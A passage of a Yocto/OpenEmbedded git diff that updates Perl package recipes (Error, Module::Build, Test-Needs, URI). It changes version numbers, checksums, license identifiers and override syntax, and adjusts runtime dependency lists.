+RDEPENDS:perl-module-test += "perl-module-file-temp"
+RDEPENDS:perl-module-test += "perl-module-strict"
+RDEPENDS:perl-module-test-simple += "perl-module-strict"
+RDEPENDS:perl-module-test-simple += "perl-module-test-builder-module"
+RDEPENDS:perl-module-test-tester-capture += "perl-module-config"
+RDEPENDS:perl-module-test-tester-capture += "perl-module-strict"
+RDEPENDS:perl-module-test-tester-capture += "perl-module-test-builder"
+RDEPENDS:perl-module-test-tester-capture += "perl-module-vars"
+RDEPENDS:perl-module-test-tester-capturerunner += "perl-module-exporter"
+RDEPENDS:perl-module-test-tester-capturerunner += "perl-module-strict"
+RDEPENDS:perl-module-test-tester-capturerunner += "perl-module-test-tester-capture"
+RDEPENDS:perl-module-test-tester-delegate += "perl-module-strict"
+RDEPENDS:perl-module-test-tester-delegate += "perl-module-vars"
+RDEPENDS:perl-module-test-tester-delegate += "perl-module-warnings"
+RDEPENDS:perl-module-test-tester += "perl-module-exporter"
+RDEPENDS:perl-module-test-tester += "perl-module-strict"
+RDEPENDS:perl-module-test-tester += "perl-module-test-builder"
+RDEPENDS:perl-module-test-tester += "perl-module-test-tester-capturerunner"
+RDEPENDS:perl-module-test-tester += "perl-module-test-tester-delegate"
+RDEPENDS:perl-module-test-tester += "perl-module-vars"
+RDEPENDS:perl-module-text-abbrev += "perl-module-exporter"
+RDEPENDS:perl-module-text-balanced += "perl-module-exporter"
+RDEPENDS:perl-module-text-balanced += "perl-module-overload"
+RDEPENDS:perl-module-text-balanced += "perl-module-strict"
+RDEPENDS:perl-module-text-balanced += "perl-module-vars"
+RDEPENDS:perl-module-text-parsewords += "perl-module-exporter"
+RDEPENDS:perl-module-text-parsewords += "perl-module-strict"
+RDEPENDS:perl-module-text-tabs += "perl-module-exporter"
+RDEPENDS:perl-module-text-tabs += "perl-module-strict"
+RDEPENDS:perl-module-text-tabs += "perl-module-vars"
+RDEPENDS:perl-module-text-wrap += "perl-module-exporter"
+RDEPENDS:perl-module-text-wrap += "perl-module-re"
+RDEPENDS:perl-module-text-wrap += "perl-module-strict"
+RDEPENDS:perl-module-text-wrap += "perl-module-text-tabs"
+RDEPENDS:perl-module-text-wrap += "perl-module-vars"
+RDEPENDS:perl-module-text-wrap += "perl-module-warnings-register"
+RDEPENDS:perl-module-thread += "perl-module-config"
+RDEPENDS:perl-module-thread += "perl-module-exporter"
+RDEPENDS:perl-module-thread += "perl-module-strict"
+RDEPENDS:perl-module-thread += "perl-module-threads"
+RDEPENDS:perl-module-thread += "perl-module-threads-shared"
+RDEPENDS:perl-module-thread += "perl-module-warnings"
+RDEPENDS:perl-module-thread-queue += "perl-module-strict"
+RDEPENDS:perl-module-thread-queue += "perl-module-threads-shared"
+RDEPENDS:perl-module-thread-queue += "perl-module-warnings"
+RDEPENDS:perl-module-thread-semaphore += "perl-module-strict"
+RDEPENDS:perl-module-thread-semaphore += "perl-module-threads-shared"
+RDEPENDS:perl-module-thread-semaphore += "perl-module-warnings"
+RDEPENDS:perl-module-threads += "perl-module-config"
+RDEPENDS:perl-module-threads += "perl-module-overload"
+RDEPENDS:perl-module-threads += "perl-module-strict"
+RDEPENDS:perl-module-threads += "perl-module-warnings"
+RDEPENDS:perl-module-threads += "perl-module-xsloader"
+RDEPENDS:perl-module-threads-shared += "perl-module-config"
+RDEPENDS:perl-module-threads-shared += "perl-module-strict"
+RDEPENDS:perl-module-threads-shared += "perl-module-warnings"
+RDEPENDS:perl-module-threads-shared += "perl-module-xsloader"
+RDEPENDS:perl-module-tie-array += "perl-module-strict"
+RDEPENDS:perl-module-tie-file += "perl-module-fcntl"
+RDEPENDS:perl-module-tie-file += "perl-module-posix"
+RDEPENDS:perl-module-tie-file += "perl-module-strict"
+RDEPENDS:perl-module-tie-file += "perl-module-warnings"
+RDEPENDS:perl-module-tie-handle += "perl-module-tie-stdhandle"
+RDEPENDS:perl-module-tie-handle += "perl-module-warnings-register"
+RDEPENDS:perl-module-tie-hash-namedcapture += "perl-module-strict"
+RDEPENDS:perl-module-tie-hash += "perl-module-warnings-register"
+RDEPENDS:perl-module-tie-memoize += "perl-module-strict"
+RDEPENDS:perl-module-tie-memoize += "perl-module-tie-hash"
+RDEPENDS:perl-module-tie-refhash += "perl-module-config"
+RDEPENDS:perl-module-tie-refhash += "perl-module-overload"
+RDEPENDS:perl-module-tie-refhash += "perl-module-strict"
+RDEPENDS:perl-module-tie-refhash += "perl-module-tie-hash"
+RDEPENDS:perl-module-tie-scalar += "perl-module-warnings-register"
+RDEPENDS:perl-module-tie-stdhandle += "perl-module-strict"
+RDEPENDS:perl-module-tie-stdhandle += "perl-module-tie-handle"
+RDEPENDS:perl-module-tie-substrhash += "perl-module-integer"
+RDEPENDS:perl-module-time-gmtime += "perl-module-exporter"
+RDEPENDS:perl-module-time-gmtime += "perl-module-strict"
+RDEPENDS:perl-module-time-gmtime += "perl-module-time-tm"
+RDEPENDS:perl-module-time-hires += "perl-module-exporter"
+RDEPENDS:perl-module-time-hires += "perl-module-strict"
+RDEPENDS:perl-module-time-hires += "perl-module-xsloader"
+RDEPENDS:perl-module-time-local += "perl-module-config"
+RDEPENDS:perl-module-time-local += "perl-module-constant"
+RDEPENDS:perl-module-time-local += "perl-module-exporter"
+RDEPENDS:perl-module-time-local += "perl-module-parent"
+RDEPENDS:perl-module-time-local += "perl-module-strict"
+RDEPENDS:perl-module-time-localtime += "perl-module-exporter"
+RDEPENDS:perl-module-time-localtime += "perl-module-strict"
+RDEPENDS:perl-module-time-localtime += "perl-module-time-tm"
+RDEPENDS:perl-module-time-piece += "perl-module-constant"
+RDEPENDS:perl-module-time-piece += "perl-module-exporter"
+RDEPENDS:perl-module-time-piece += "perl-module-integer"
+RDEPENDS:perl-module-time-piece += "perl-module-overload"
+RDEPENDS:perl-module-time-piece += "perl-module-strict"
+RDEPENDS:perl-module-time-piece += "perl-module-time-local"
+RDEPENDS:perl-module-time-piece += "perl-module-time-seconds"
+RDEPENDS:perl-module-time-piece += "perl-module-xsloader"
+RDEPENDS:perl-module-time-seconds += "perl-module-constant"
+RDEPENDS:perl-module-time-seconds += "perl-module-exporter"
+RDEPENDS:perl-module-time-seconds += "perl-module-overload"
+RDEPENDS:perl-module-time-seconds += "perl-module-strict"
+RDEPENDS:perl-module-time-tm += "perl-module-class-struct"
+RDEPENDS:perl-module-time-tm += "perl-module-strict"
+RDEPENDS:perl-module-unicode-collate-cjk-big5 += "perl-module-strict"
+RDEPENDS:perl-module-unicode-collate-cjk-big5 += "perl-module-warnings"
+RDEPENDS:perl-module-unicode-collate-cjk-gb2312 += "perl-module-strict"
+RDEPENDS:perl-module-unicode-collate-cjk-gb2312 += "perl-module-warnings"
+RDEPENDS:perl-module-unicode-collate-cjk-jisx0208 += "perl-module-strict"
+RDEPENDS:perl-module-unicode-collate-cjk-jisx0208 += "perl-module-warnings"
+RDEPENDS:perl-module-unicode-collate-cjk-korean += "perl-module-strict"
+RDEPENDS:perl-module-unicode-collate-cjk-korean += "perl-module-warnings"
+RDEPENDS:perl-module-unicode-collate-cjk-pinyin += "perl-module-strict"
+RDEPENDS:perl-module-unicode-collate-cjk-pinyin += "perl-module-warnings"
+RDEPENDS:perl-module-unicode-collate-cjk-stroke += "perl-module-strict"
+RDEPENDS:perl-module-unicode-collate-cjk-stroke += "perl-module-warnings"
+RDEPENDS:perl-module-unicode-collate-cjk-zhuyin += "perl-module-strict"
+RDEPENDS:perl-module-unicode-collate-cjk-zhuyin += "perl-module-warnings"
+RDEPENDS:perl-module-unicode-collate-locale += "perl-module-base"
+RDEPENDS:perl-module-unicode-collate-locale += "perl-module-strict"
+RDEPENDS:perl-module-unicode-collate-locale += "perl-module-warnings"
+RDEPENDS:perl-module-unicode-collate += "perl-module-constant"
+RDEPENDS:perl-module-unicode-collate += "perl-module-strict"
+RDEPENDS:perl-module-unicode-collate += "perl-module-warnings"
+RDEPENDS:perl-module-unicode-collate += "perl-module-xsloader"
+RDEPENDS:perl-module-unicode-normalize += "perl-module-exporter"
+RDEPENDS:perl-module-unicode-normalize += "perl-module-strict"
+RDEPENDS:perl-module-unicode-normalize += "perl-module-warnings"
+RDEPENDS:perl-module-unicode-normalize += "perl-module-xsloader"
+RDEPENDS:perl-module-unicode-ucd += "perl-module-charnames"
+RDEPENDS:perl-module-unicode-ucd += "perl-module-exporter"
+RDEPENDS:perl-module-unicode-ucd += "perl-module-feature"
+RDEPENDS:perl-module-unicode-ucd += "perl-module-if"
+RDEPENDS:perl-module-unicode-ucd += "perl-module-integer"
+RDEPENDS:perl-module-unicode-ucd += "perl-module-re"
+RDEPENDS:perl-module-unicode-ucd += "perl-module-strict"
+RDEPENDS:perl-module-unicode-ucd += "perl-module-unicode-normalize"
+RDEPENDS:perl-module-unicode-ucd += "perl-module-warnings"
+RDEPENDS:perl-module-user-grent += "perl-module-class-struct"
+RDEPENDS:perl-module-user-grent += "perl-module-exporter"
+RDEPENDS:perl-module-user-grent += "perl-module-strict"
+RDEPENDS:perl-module-user-pwent += "perl-module-class-struct"
+RDEPENDS:perl-module-user-pwent += "perl-module-config"
+RDEPENDS:perl-module-user-pwent += "perl-module-exporter"
+RDEPENDS:perl-module-user-pwent += "perl-module-strict"
+RDEPENDS:perl-module-user-pwent += "perl-module-warnings"
+RDEPENDS:perl-module-utf8 += "perl-module-strict"
+RDEPENDS:perl-module-utf8 += "perl-module-warnings"
+RDEPENDS:perl-module-version += "perl-module-strict"
+RDEPENDS:perl-module-version += "perl-module-version-regex"
+RDEPENDS:perl-module-version += "perl-module-warnings-register"
+RDEPENDS:perl-module-version-regex += "perl-module-strict"
+RDEPENDS:perl-module-xsloader += "perl-module-dynaloader"
diff --git a/meta/recipes-devtools/perl/liberror-perl_0.17027.bb b/meta/recipes-devtools/perl/liberror-perl_0.17027.bb
deleted file mode 100644
index cf1f6d685f..0000000000
--- a/meta/recipes-devtools/perl/liberror-perl_0.17027.bb
+++ /dev/null
@@ -1,47 +0,0 @@
-SUMMARY = "Error - Error/exception handling in an OO-ish way"
-DESCRIPTION = "The Error package provides two interfaces. Firstly \
-Error provides a procedural interface to exception handling. \
-Secondly Error is a base class for errors/exceptions that can \
-either be thrown, for subsequent catch, or can simply be recorded."
-HOMEPAGE = "https://bitbucket.org/shlomif/perl-error.pm"
-SECTION = "libs"
-LICENSE = "Artistic-1.0 | GPL-1.0+"
-
-LIC_FILES_CHKSUM = "file://LICENSE;md5=8f3499d09ee74a050c0319391ff9d100"
-
-DEPENDS += "perl"
-
-RDEPENDS_${PN} += " \
- perl-module-carp \
- perl-module-exporter \
- perl-module-scalar-util \
- perl-module-overload \
- perl-module-strict \
- perl-module-vars \
- perl-module-warnings \
-"
-
-RDEPENDS_${PN}-ptest += " \
- perl-module-base \
- perl-module-file-spec \
- perl-module-io-handle \
- perl-module-ipc-open3 \
- perl-module-lib \
- perl-module-test-more \
-"
-
-SRC_URI = "http://cpan.metacpan.org/authors/id/S/SH/SHLOMIF/Error-${PV}.tar.gz"
-
-SRC_URI[md5sum] = "4ef9b2890fb144d804527ba32573dd56"
-SRC_URI[sha256sum] = "07b2ac8275dfa04144745a6c1900a596280f862b97d22bab0c5ce02682ebd3be"
-
-S = "${WORKDIR}/Error-${PV}"
-
-inherit cpan ptest-perl
-
-do_install_prepend() {
- # test requires "-T" (taint) command line option
- rm -rf ${B}/t/pod-coverage.t
-}
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/perl/liberror-perl_0.17029.bb b/meta/recipes-devtools/perl/liberror-perl_0.17029.bb
new file mode 100644
index 0000000000..497f480347
--- /dev/null
+++ b/meta/recipes-devtools/perl/liberror-perl_0.17029.bb
@@ -0,0 +1,47 @@
+SUMMARY = "Error - Error/exception handling in an OO-ish way"
+DESCRIPTION = "The Error package provides two interfaces. Firstly \
+Error provides a procedural interface to exception handling. \
+Secondly Error is a base class for errors/exceptions that can \
+either be thrown, for subsequent catch, or can simply be recorded."
+HOMEPAGE = "https://github.com/shlomif/perl-error.pm"
+SECTION = "libs"
+LICENSE = "Artistic-1.0 | GPL-1.0-or-later"
+
+LIC_FILES_CHKSUM = "file://LICENSE;md5=8f3499d09ee74a050c0319391ff9d100"
+
+DEPENDS += "perl"
+
+RDEPENDS:${PN} += " \
+ perl-module-carp \
+ perl-module-exporter \
+ perl-module-scalar-util \
+ perl-module-overload \
+ perl-module-strict \
+ perl-module-vars \
+ perl-module-warnings \
+"
+
+RDEPENDS:${PN}-ptest += " \
+ perl-module-base \
+ perl-module-file-spec \
+ perl-module-io-handle \
+ perl-module-ipc-open3 \
+ perl-module-lib \
+ perl-module-test-more \
+"
+
+SRC_URI = "http://cpan.metacpan.org/authors/id/S/SH/SHLOMIF/Error-${PV}.tar.gz"
+
+SRC_URI[md5sum] = "6732b1c6207e4a9a3e2987c88368039a"
+SRC_URI[sha256sum] = "1a23f7913032aed6d4b68321373a3899ca66590f4727391a091ec19c95bf7adc"
+
+S = "${WORKDIR}/Error-${PV}"
+
+inherit cpan ptest-perl
+
+do_install:prepend() {
+ # test requires "-T" (taint) command line option
+ rm -rf ${B}/t/pod-coverage.t
+}
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/perl/libmodule-build-perl/run-ptest b/meta/recipes-devtools/perl/libmodule-build-perl/run-ptest
index 0d63d1513b..d802781f9e 100644
--- a/meta/recipes-devtools/perl/libmodule-build-perl/run-ptest
+++ b/meta/recipes-devtools/perl/libmodule-build-perl/run-ptest
@@ -6,8 +6,6 @@ for case in `find t -type f -name '*.t'`; do
cat $case.output
if [ $ret -ne 0 ]; then
echo "FAIL: ${case%.t}"
- elif grep -i 'SKIP' $case.output; then
- echo "SKIP: ${case%.t}"
else
echo "PASS: ${case%.t}"
fi
diff --git a/meta/recipes-devtools/perl/libmodule-build-perl_0.4229.bb b/meta/recipes-devtools/perl/libmodule-build-perl_0.4229.bb
deleted file mode 100644
index f759f862fb..0000000000
--- a/meta/recipes-devtools/perl/libmodule-build-perl_0.4229.bb
+++ /dev/null
@@ -1,103 +0,0 @@
-SUMMARY = "Module::Build - Build and install Perl modules"
-DESCRIPTION = "Many Perl distributions use a Build.PL file instead of a \
-Makefile.PL file to drive distribution configuration, build, test and \
-installation. Traditionally, Build.PL uses Module::Build as the underlying \
-build system. This module provides a simple, lightweight, drop-in replacement. \
-Whereas Module::Build has over 6,700 lines of code; this module has less than \
-120, yet supports the features needed by most distributions."
-
-SECTION = "libs"
-
-HOMEPAGE = "https://metacpan.org/release/Module-Build"
-
-LICENSE = "Artistic-1.0 | GPL-1.0+"
-LIC_FILES_CHKSUM = "file://README;beginline=949;endline=954;md5=624c06db56a2af4d70cf9edc29fcae1b"
-
-SRC_URI = "${CPAN_MIRROR}/authors/id/L/LE/LEONT/Module-Build-${PV}.tar.gz \
- file://run-ptest \
- "
-SRC_URI[md5sum] = "1447d9e02e63f7a1643986789a8f1ba9"
-SRC_URI[sha256sum] = "1fe491a6cda914b01bc8e592faa2b5404e9f35915ca15322f8f2a8d8f9008c18"
-
-S = "${WORKDIR}/Module-Build-${PV}"
-
-inherit cpan_build ptest-perl
-
-# From:
-# https://github.com/rehsack/meta-cpan/blob/master/recipes-devel/module-build-perl/module-build-perl_0.4216.bb
-#
-do_patch_module_build () {
- cd ${S}
- sed -i -e 's,my $interpreter = $self->{properties}{perl};,my $interpreter = "${bindir}/perl";,g' lib/Module/Build/Base.pm
-}
-
-do_patch[postfuncs] += "do_patch_module_build"
-
-do_install_ptest() {
- cp -r ${B}/inc ${D}${PTEST_PATH}
- cp -r ${B}/blib ${D}${PTEST_PATH}
- chown -R root:root ${D}${PTEST_PATH}
-}
-
-RDEPENDS_${PN} += " \
- perl-module-carp \
- perl-module-cpan \
- perl-module-config \
- perl-module-cwd \
- perl-module-data-dumper \
- perl-module-encode \
- perl-module-extutils-cbuilder \
- perl-module-extutils-command \
- perl-module-extutils-install \
- perl-module-extutils-installed \
- perl-module-extutils-mkbootstrap \
- perl-module-extutils-packlist \
- perl-module-extutils-parsexs \
- perl-module-file-basename \
- perl-module-file-compare \
- perl-module-file-copy \
- perl-module-file-find \
- perl-module-file-glob \
- perl-module-file-path \
- perl-module-file-spec \
- perl-module-file-spec-functions \
- perl-module-getopt-long \
- perl-module-metadata \
- perl-module-perl-ostype \
- perl-module-pod-man \
- perl-module-tap-harness \
- perl-module-text-abbrev \
- perl-module-text-parsewords \
- perl-module-utf8 \
-"
-
-RDEPENDS_${PN}-ptest += " \
- gcc \
- make \
- perl-module-blib \
- perl-module-file-temp \
- perl-module-lib \
- perl-module-perlio \
- perl-module-perlio-encoding \
- perl-module-pod-text \
- perl-module-tap-harness-env \
- perl-module-tap-parser \
- perl-module-tap-parser-scheduler \
- perl-module-test-harness \
- perl-module-test-more \
-"
-
-RPROVIDES_${PN} += "\
- libmodule-build-base-perl \
- libmodule-build-compat-perl \
- libmodule-build-config-perl \
- libmodule-build-cookbook-perl \
- libmodule-build-dumper-perl \
- libmodule-build-notes-perl \
- libmodule-build-ppmaker-perl \
- libmodule-build-platform-default-perl \
- libmodule-build-platform-unix-perl \
- libmodule-build-podparser-perl \
-"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/perl/libmodule-build-perl_0.4231.bb b/meta/recipes-devtools/perl/libmodule-build-perl_0.4231.bb
new file mode 100644
index 0000000000..e2c79d962b
--- /dev/null
+++ b/meta/recipes-devtools/perl/libmodule-build-perl_0.4231.bb
@@ -0,0 +1,123 @@
+SUMMARY = "Module::Build - Build and install Perl modules"
+DESCRIPTION = "Many Perl distributions use a Build.PL file instead of a \
+Makefile.PL file to drive distribution configuration, build, test and \
+installation. Traditionally, Build.PL uses Module::Build as the underlying \
+build system. This module provides a simple, lightweight, drop-in replacement. \
+Whereas Module::Build has over 6,700 lines of code; this module has less than \
+120, yet supports the features needed by most distributions."
+
+SECTION = "libs"
+
+HOMEPAGE = "https://metacpan.org/release/Module-Build"
+
+LICENSE = "Artistic-1.0 | GPL-1.0-or-later"
+LIC_FILES_CHKSUM = "file://README;beginline=949;endline=954;md5=624c06db56a2af4d70cf9edc29fcae1b"
+
+SRC_URI = "${CPAN_MIRROR}/authors/id/L/LE/LEONT/Module-Build-${PV}.tar.gz \
+ file://run-ptest \
+ "
+SRC_URI[md5sum] = "066b193e461d7dfe1eca17a139353001"
+SRC_URI[sha256sum] = "7e0f4c692c1740c1ac84ea14d7ea3d8bc798b2fb26c09877229e04f430b2b717"
+
+S = "${WORKDIR}/Module-Build-${PV}"
+
+inherit cpan_build ptest-perl
+
+# From:
+# https://github.com/rehsack/meta-cpan/blob/master/recipes-devel/module-build-perl/module-build-perl_0.4216.bb
+#
+do_patch_module_build () {
+ cd ${S}
+ sed -i -e 's,my $interpreter = $self->{properties}{perl};,my $interpreter = "${bindir}/perl";,g' lib/Module/Build/Base.pm
+}
+
+do_patch[postfuncs] += "do_patch_module_build"
+
+EXTRA_CPAN_BUILD_FLAGS = "--create_packlist=0"
+
+do_install:append () {
+ rm -rf ${D}${docdir}/perl/html
+}
+
+do_install_ptest() {
+ cp -r ${B}/inc ${D}${PTEST_PATH}
+ cp -r ${B}/blib ${D}${PTEST_PATH}
+ cp -r ${B}/_build ${D}${PTEST_PATH}
+ cp -r ${B}/lib ${D}${PTEST_PATH}
+ chown -R root:root ${D}${PTEST_PATH}
+ sed -i -e "s,'perl' => .*,'perl' => '/usr/bin/perl'\,,g" \
+ -e "s,${STAGING_BINDIR_NATIVE}/perl-native/\.\.,${bindir}/,g" \
+ -e "s,${S},,g" \
+ -e "s,${D},,g" \
+ ${D}${PTEST_PATH}/_build/build_params \
+ ${D}${PTEST_PATH}/_build/runtime_params
+ rm -rf ${D}${PTEST_PATH}/blib/libhtml/site/lib/Module/
+ rm -rf ${D}${PTEST_PATH}/_build/magicnum
+}
+
+RDEPENDS:${PN} += " \
+ perl-module-carp \
+ perl-module-cpan \
+ perl-module-config \
+ perl-module-cwd \
+ perl-module-data-dumper \
+ perl-module-encode \
+ perl-module-extutils-cbuilder \
+ perl-module-extutils-command \
+ perl-module-extutils-install \
+ perl-module-extutils-installed \
+ perl-module-extutils-mkbootstrap \
+ perl-module-extutils-packlist \
+ perl-module-extutils-parsexs \
+ perl-module-file-basename \
+ perl-module-file-compare \
+ perl-module-file-copy \
+ perl-module-file-find \
+ perl-module-file-glob \
+ perl-module-file-path \
+ perl-module-file-spec \
+ perl-module-file-spec-functions \
+ perl-module-getopt-long \
+ perl-module-metadata \
+ perl-module-perl-ostype \
+ perl-module-pod-man \
+ perl-module-tap-harness \
+ perl-module-text-abbrev \
+ perl-module-text-parsewords \
+ perl-module-utf8 \
+"
+
+RDEPENDS:${PN}-ptest += " \
+ packagegroup-core-buildessential \
+ perl-dev \
+ perl-module-blib \
+ perl-module-extutils-command-mm \
+ perl-module-file-temp \
+ perl-module-lib \
+ perl-module-perlio \
+ perl-module-perlio-encoding \
+ perl-module-pod-text \
+ perl-module-tap-harness-env \
+ perl-module-tap-parser \
+ perl-module-tap-parser-scheduler \
+ perl-module-test-harness \
+ perl-module-test-more \
+"
+
+RPROVIDES:${PN} += "\
+ libmodule-build-base-perl \
+ libmodule-build-compat-perl \
+ libmodule-build-config-perl \
+ libmodule-build-cookbook-perl \
+ libmodule-build-dumper-perl \
+ libmodule-build-notes-perl \
+ libmodule-build-ppmaker-perl \
+ libmodule-build-platform-default-perl \
+ libmodule-build-platform-unix-perl \
+ libmodule-build-podparser-perl \
+"
+
+# t/xs.t RDEPENDS on "EXTERN.h" provided by perl-dev
+INSANE_SKIP:${PN}-ptest = "dev-deps"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/perl/libtest-needs-perl_0.002006.bb b/meta/recipes-devtools/perl/libtest-needs-perl_0.002006.bb
deleted file mode 100644
index c44ee6340c..0000000000
--- a/meta/recipes-devtools/perl/libtest-needs-perl_0.002006.bb
+++ /dev/null
@@ -1,29 +0,0 @@
-SUMMARY = "Skip tests when modules not available"
-DESCRIPTION = "Skip test scripts if modules are not available. \
-The requested modules will be loaded, and optionally have their versions \
-checked. If the module is missing, the test script will be skipped. Modules \
-that are found but fail to compile will exit with an error rather than skip."
-
-HOMEPAGE = "https://metacpan.org/release/Test-Needs"
-SECTION = "libs"
-LICENSE = "Artistic-1.0 | GPL-1.0+"
-
-CPAN_NAME = "Test-Needs"
-CPAN_AUTHOR = "HAARG"
-
-LIC_FILES_CHKSUM = "file://README;md5=3f3ccd21a0a48aa313db212cc3b1bc09;beginline=88;endline=89"
-
-DEPENDS += "perl"
-
-SRC_URI = "https://cpan.metacpan.org/authors/id/H/HA/${CPAN_AUTHOR}/${CPAN_NAME}-${PV}.tar.gz"
-
-SRC_URI[md5sum] = "d5c96d51d8d5510f7c0b7f354c49af1c"
-SRC_URI[sha256sum] = "77f9fff0c96c5e09f34d0416b3533c3319f7cd0bb1f7fe8f8072ad59f433f0e5"
-
-S = "${WORKDIR}/${CPAN_NAME}-${PV}"
-
-inherit cpan ptest-perl
-
-RDEPENDS_${PN}-ptest += "perl-module-test-more perl-module-ipc-open3 perl-module-lib perl-module-version"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/perl/libtest-needs-perl_0.002009.bb b/meta/recipes-devtools/perl/libtest-needs-perl_0.002009.bb
new file mode 100644
index 0000000000..43a9a6b7d3
--- /dev/null
+++ b/meta/recipes-devtools/perl/libtest-needs-perl_0.002009.bb
@@ -0,0 +1,29 @@
+SUMMARY = "Skip tests when modules not available"
+DESCRIPTION = "Skip test scripts if modules are not available. \
+The requested modules will be loaded, and optionally have their versions \
+checked. If the module is missing, the test script will be skipped. Modules \
+that are found but fail to compile will exit with an error rather than skip."
+
+HOMEPAGE = "https://metacpan.org/release/Test-Needs"
+SECTION = "libs"
+LICENSE = "Artistic-1.0 | GPL-1.0-or-later"
+
+CPAN_NAME = "Test-Needs"
+CPAN_AUTHOR = "HAARG"
+
+LIC_FILES_CHKSUM = "file://README;md5=3f3ccd21a0a48aa313db212cc3b1bc09;beginline=88;endline=89"
+
+DEPENDS += "perl"
+
+SRC_URI = "https://cpan.metacpan.org/authors/id/H/HA/${CPAN_AUTHOR}/${CPAN_NAME}-${PV}.tar.gz"
+
+SRC_URI[md5sum] = "5643cd323afb77d20363acbaf9b12bcc"
+SRC_URI[sha256sum] = "571c21193ad16195df58b06b268798796a391b398c443271721d2cc0fb7c4ac3"
+
+S = "${WORKDIR}/${CPAN_NAME}-${PV}"
+
+inherit cpan ptest-perl
+
+RDEPENDS:${PN}-ptest += "perl-module-test-more perl-module-ipc-open3 perl-module-lib perl-module-version"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/perl/liburi-perl_1.74.bb b/meta/recipes-devtools/perl/liburi-perl_1.74.bb
deleted file mode 100644
index c27765bcbc..0000000000
--- a/meta/recipes-devtools/perl/liburi-perl_1.74.bb
+++ /dev/null
@@ -1,50 +0,0 @@
-SUMMARY = "Perl module to manipulate and access URI strings"
-DESCRIPTION = "This package contains the URI.pm module with friends. \
-The module implements the URI class. URI objects can be used to access \
-and manipulate the various components that make up these strings."
-
-HOMEPAGE = "http://search.cpan.org/dist/URI/"
-SECTION = "libs"
-LICENSE = "Artistic-1.0 | GPL-1.0+"
-
-LIC_FILES_CHKSUM = "file://LICENSE;md5=c453e94fae672800f83bc1bd7a38b53f"
-
-DEPENDS += "perl"
-
-SRC_URI = "http://www.cpan.org/authors/id/E/ET/ETHER/URI-${PV}.tar.gz"
-
-SRC_URI[md5sum] = "892f7183b178af40f205ba37128225db"
-SRC_URI[sha256sum] = "a9c254f45f89cb1dd946b689dfe433095404532a4543bdaab0b71ce0fdcdd53d"
-
-S = "${WORKDIR}/URI-${PV}"
-
-EXTRA_CPANFLAGS = "EXPATLIBPATH=${STAGING_LIBDIR} EXPATINCPATH=${STAGING_INCDIR}"
-
-inherit cpan ptest-perl
-
-do_compile() {
- export LIBC="$(find ${STAGING_DIR_TARGET}/${base_libdir}/ -name 'libc-*.so')"
- cpan_do_compile
-}
-
-do_install_prepend() {
- # these tests require "-T" (taint) command line option
- rm -rf ${B}/t/cwd.t
- rm -rf ${B}/t/file.t
-}
-
-RDEPENDS_${PN} += "perl-module-integer perl-module-mime-base64"
-RDEPENDS_${PN}-ptest += " \
- libtest-needs-perl \
- perl-module-test-more \
- perl-module-test \
- perl-module-utf8 \
- perl-module-extutils-makemaker \
- perl-module-net-domain \
- perl-module-encode \
- perl-module-extutils-mm-unix \
- perl-module-file-spec-functions \
- perl-module-perlio \
-"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/perl/liburi-perl_5.08.bb b/meta/recipes-devtools/perl/liburi-perl_5.08.bb
new file mode 100644
index 0000000000..5428c9ddf9
--- /dev/null
+++ b/meta/recipes-devtools/perl/liburi-perl_5.08.bb
@@ -0,0 +1,50 @@
+SUMMARY = "Perl module to manipulate and access URI strings"
+DESCRIPTION = "This package contains the URI.pm module with friends. \
+The module implements the URI class. URI objects can be used to access \
+and manipulate the various components that make up these strings."
+
+HOMEPAGE = "http://search.cpan.org/dist/URI/"
+SECTION = "libs"
+LICENSE = "Artistic-1.0 | GPL-1.0-or-later"
+
+LIC_FILES_CHKSUM = "file://LICENSE;md5=c453e94fae672800f83bc1bd7a38b53f"
+
+DEPENDS += "perl"
+
+SRC_URI = "http://www.cpan.org/authors/id/E/ET/ETHER/URI-${PV}.tar.gz"
+
+SRC_URI[md5sum] = "cdbbf8f8ccdec5c162c8505077a35c2c"
+SRC_URI[sha256sum] = "7e2c6fe3b1d5947da334fa558a96e748aaa619213b85bcdce5b5347d4d26c46e"
+
+S = "${WORKDIR}/URI-${PV}"
+
+EXTRA_CPANFLAGS = "EXPATLIBPATH=${STAGING_LIBDIR} EXPATINCPATH=${STAGING_INCDIR}"
+
+inherit cpan ptest-perl
+
+do_compile() {
+ export LIBC="$(find ${STAGING_DIR_TARGET}/${base_libdir}/ -name 'libc-*.so')"
+ cpan_do_compile
+}
+
+do_install:prepend() {
+ # these tests require "-T" (taint) command line option
+ rm -rf ${B}/t/cwd.t
+ rm -rf ${B}/t/file.t
+}
+
+RDEPENDS:${PN} += "perl-module-integer perl-module-mime-base64"
+RDEPENDS:${PN}-ptest += " \
+ libtest-needs-perl \
+ perl-module-test-more \
+ perl-module-test \
+ perl-module-utf8 \
+ perl-module-extutils-makemaker \
+ perl-module-net-domain \
+ perl-module-encode \
+ perl-module-extutils-mm-unix \
+ perl-module-file-spec-functions \
+ perl-module-perlio \
+"
+
+BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/perl/libxml-parser-perl_2.44.bb b/meta/recipes-devtools/perl/libxml-parser-perl_2.44.bb
deleted file mode 100644
index 7c9b7696a7..0000000000
--- a/meta/recipes-devtools/perl/libxml-parser-perl_2.44.bb
+++ /dev/null
@@ -1,55 +0,0 @@
-SUMMARY = "XML::Parser - A perl module for parsing XML documents"
-HOMEPAGE = "https://libexpat.github.io/"
-SECTION = "libs"
-LICENSE = "Artistic-1.0 | GPL-1.0+"
-LIC_FILES_CHKSUM = "file://README;beginline=2;endline=6;md5=c8767d7516229f07b26e42d1cf8b51f1"
-
-DEPENDS += "expat"
-
-SRC_URI = "http://www.cpan.org/modules/by-module/XML/XML-Parser-${PV}.tar.gz"
-SRC_URI[md5sum] = "af4813fe3952362451201ced6fbce379"
-SRC_URI[sha256sum] = "1ae9d07ee9c35326b3d9aad56eae71a6730a73a116b9fe9e8a4758b7cc033216"
-
-S = "${WORKDIR}/XML-Parser-${PV}"
-
